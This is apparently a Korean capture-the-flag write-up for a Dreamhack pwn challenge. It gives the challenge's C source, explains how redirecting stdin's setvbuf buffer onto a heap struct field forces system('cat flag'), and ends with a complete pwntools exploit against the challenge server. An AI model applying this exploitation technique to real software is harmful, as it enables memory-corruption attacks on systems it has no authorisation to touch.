typedef struct {
char name[16];
long HP;
long type;
void (*build)(void *);
void (*destroyed)(void *);
} Bunker;
typedef struct {
char name[16];
long HP;
long type;
void (*build)();
void (*destroyed)();
} Hatchery;
코드에서는 두 구조체가 사용된다.
#define YELLOW_WIN "22222"
void destroyedBunker(Bunker* this)
{
puts("Bunker is destructed...");
if(this->type && !strcmp ((char*)(this->type), YELLOW_WIN))
system("cat flag");
}
Bunker* newBunker(long hp)
{
Bunker* bunker = (Bunker*)malloc(sizeof(Bunker));
strcpy(bunker->name, "Bunker");
bunker->build = buildBunker;
bunker->destroyed = destroyedBunker;
//Yellow changed this line to comment.
//bunker->type = BOXER;
bunker->HP = hp;
return bunker;
}
char canwin='N';
void BuildHatchery()
{
puts ("your drone moved to outside.");
Hatchery* hatchery = newHatchery(0x1250);
hatchery->build(hatchery);
Bunker* bunker = newBunker(0x350);
bunker->build(bunker);
puts("your drone came out and attacked bunker!");
puts("now can you beat BoxeR? [y/N]");
scanf(" %c", &canwin);
if((char)canwin != 'N') {
puts("Drones finally destroyed the bunker!");
bunker->destroyed(bunker);
puts("Mission Success");
bunker = NULL;
} else {
puts("Bunker is completed");
hatchery->destroyed(hatchery);
puts("Failed to mission");
hatchery = NULL;
}
sleep(1);
exit(0);
}
destroyedBunker()가 호출될 때 if문의 조건에 맞으면 문제를 풀 수 있다. 해당 함수의 주소는 Bunker 구조체 변수 bunker의 destroyed 멤버로 설정되며, 이는 BuildHatchery() 내에서 호출되는 newBunker() 함수에 의해 설정된다. 이후 canwin이 N이 아니면 bunker->destroyed(bunker)을 호출한다.
#define DEFAULT_SIZE 1024
char * buffer = 0;
long size = 0;
void BunkerRushStudy ()
{
int ret;
unsigned course;
printf("your buffer: %p\n", buffer);
puts("Select your course");
printf(">> ");
course = read_number();
if (course > 2) {
return;
}
if (course < 2) {
if (buffer == NULL) {
buffer = (char*)malloc(DEFAULT_SIZE);
size = DEFAULT_SIZE;
}
ret = setvbuf(stdin, buffer, course, size);
} else {
ret = setvbuf(stdin, 0, course, 0);
}
if (ret < 0) {
puts("study fail...");
exit(1);
}
puts("Finish and sleep.");
}
기존 buffer의 주소를 출력한 후, 그 주소가 NULL일 경우 malloc()을 통해 동적 할당받는다. 이후 course에 따라 _IOFBF, _IOLBF, _IONBF로 stdin을 세팅한다.
void BuildSpawningPool() {
printf("buffer: ");
scanf("%lu", &buffer);
printf("size: ");
scanf("%lu", &size);
if (size >0x10000)
size = 0;
}
buffer와 size를 입력받는다. 해당 함수를 호출하려면 메뉴 번호 입력 시 0x22222를 입력해야 한다.
Bunker 구조체의 type을 문자열 "22222"의 주소값으로 바꾸어야 한다.Bunker, Hatchery 구조체 모두 동적 할당을 받는다. 한편, BunkerRushStudy()에서도 버퍼가 NULL일 경우 동적 할당을 한다.BunkerRushStudy()에서는 버퍼의 주소를 출력한다. 따라서 버퍼의 동적 할당 이후 다시 이 함수로 오면 동적 할당된 주소를 알 수 있다. 이 주소를 알면, 미래에 할당될 Bunker의 주소를 계산할 수 있다.BuildSpawningPool()에서 buffer의 값을 계산된 Bunker.type의 주소로 설정한다. size는 적당한 값(100)으로 설정한다.BunkerRushStudy()를 이용해 설정한 buffer로 stdin에 _IOLBF를 설정한다. 이후 표준 입력으로 들어오는 값들은 Bunker.type에 저장된다.canwin을 입력받을 때 payload{(8바이트 Bunker.type+8의 주소), \x02\x02\x02\x02\x02\x00}를 입력한다.from pwn import *
#p = process('./chal')
p = remote('host3.dreamhack.games', 18119)
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'1') #malloc chunk 0x410, _IOLBF
p.sendlineafter(b'>> ', b'2')
p.recvuntil(b'buffer: ')
heap_offset = int(p.recvline()[:-1], 16)
bunker_type_offset = heap_offset + 0x400 + 0x40 + 0x10 + 0x18
print('heap offset:', hex(heap_offset))
print('Bunker offset:', hex(heap_offset + 0x400 + 0x40 + 0x10))
print('Bunker.type offset:', hex(bunker_type_offset))
p.sendlineafter(b'>> ', b'2') #_IONBF
p.sendlineafter(b'>> ', b'139810')
p.sendlineafter(b'buffer: ', str(bunker_type_offset).encode()) #buffer=&Bunker.type
p.sendlineafter(b'size: ', b'100')
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'>> ', b'1') #_IOLBF
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'[y/N]', p64(bunker_type_offset + 8) + b'22222\x00')
p.interactive()